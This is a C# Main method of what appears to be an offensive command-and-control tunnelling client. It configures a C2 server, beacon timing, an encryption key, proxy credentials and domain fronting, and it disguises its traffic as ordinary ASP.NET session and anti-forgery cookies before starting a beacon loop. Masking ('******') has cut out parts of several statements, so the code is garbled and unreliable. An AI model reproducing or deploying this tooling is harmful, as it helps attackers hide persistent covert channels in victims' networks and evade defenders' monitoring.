static void Main(string[] args) { bool help = false; String serverUri = null; String commandChannelId = null; String domain = null; String username = null; String password = null; String proxyUrl = null; String payloadCookieName = null; String sessionCookieName = null; String userAgent = null; String dfHost = null; String key = null; short beaconTime = 0; bool useProxy = false; var errors = new List <String>(); var warnings = new List <String>(); var p = new OptionSet() { { "use-proxy", "Use proxy server (for system proxy set this and leave -m blank)", v => useProxy = v != null }, { "m=|proxy=", "Proxy Url in format http://<server>:<port> (-p is implied)", v => proxyUrl = v }, { "u=|username="******"Web proxy username ", v => username = v }, { "d=|domain=", "Web proxy domain ", v => domain = v }, { "p=|password="******"Web proxy password ", v => password = v }, { "k=|encryption-key=", "The encryption key, leave blank to be asked", v => key = v }, { "c=|cmd-id=", "Command Channel Id (required) ", v => commandChannelId = v }, { "b=|beacon=", "Beacon time in (ms)", v => beaconTime = short.Parse(v) }, { "s=|server-uri=", "Uri of the server, default is http://127.0.0.1:8081", v => serverUri = v }, { "session-cookie=", "The name of the cookie to pass the session identifier", v => sessionCookieName = v }, { "payload-cookie=", "The name of the cookie to pass smaller requests through", v => payloadCookieName = v }, { "user-agent=", "The User Agent to be sent in any web request", v => userAgent = v }, { "df=", "The actual Host header to be sent if using domain fronting", v => dfHost = v }, { "h|?|help", v => help = v != null }, }; var extra = p.Parse(args); var defaultCmdChannel = "7f404221-9f30-470b-b05d-e1a922be3ff6"; if (String.IsNullOrWhiteSpace(commandChannelId)) { warnings.Add($"Command Channel Id is blank defaulting to {defaultCmdChannel}"); if (String.IsNullOrWhiteSpace(commandChannelId)) { commandChannelId = defaultCmdChannel; } } if (String.IsNullOrWhiteSpace(serverUri)) { warnings.Add(@"Server's URI is blank defaulting to http://127.0.0.1:8081"); if (String.IsNullOrWhiteSpace(serverUri)) { serverUri = "http://127.0.0.1:8081"; } } var result = Uri.TryCreate(serverUri, UriKind.Absolute, out Uri parsedServerUri); if (!result) { errors.Add($"Server URI {serverUri} is not valid"); } IWebProxy wbProxy = null; if (!String.IsNullOrWhiteSpace(proxyUrl)) { result = Uri.TryCreate(proxyUrl, UriKind.Absolute, out Uri proxyUri); if (!result) { errors.Add($"Proxy URI {proxyUri} is not valid"); } else { if (!String.IsNullOrWhiteSpace(username)) { SecureString secPassword = null; if (String.IsNullOrWhiteSpace(password)) { Console.WriteLine("Please enter your proxy password: "******"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36", secKey, new List <String> { "Upload" }, sessionCookieName ?? "ASP.NET_SessionId", payloadCookieName ?? "__RequestVerificationToken", System.Net.HttpWebRequest.GetSystemWebProxy(), 5000, null); Console.WriteLine("Ready to start cmd loop?"); Console.ReadLine(); sock.Start(); Console.WriteLine("Hit [x] to quit"); var str = ""; while ("x" != (str = Console.ReadLine())) { } }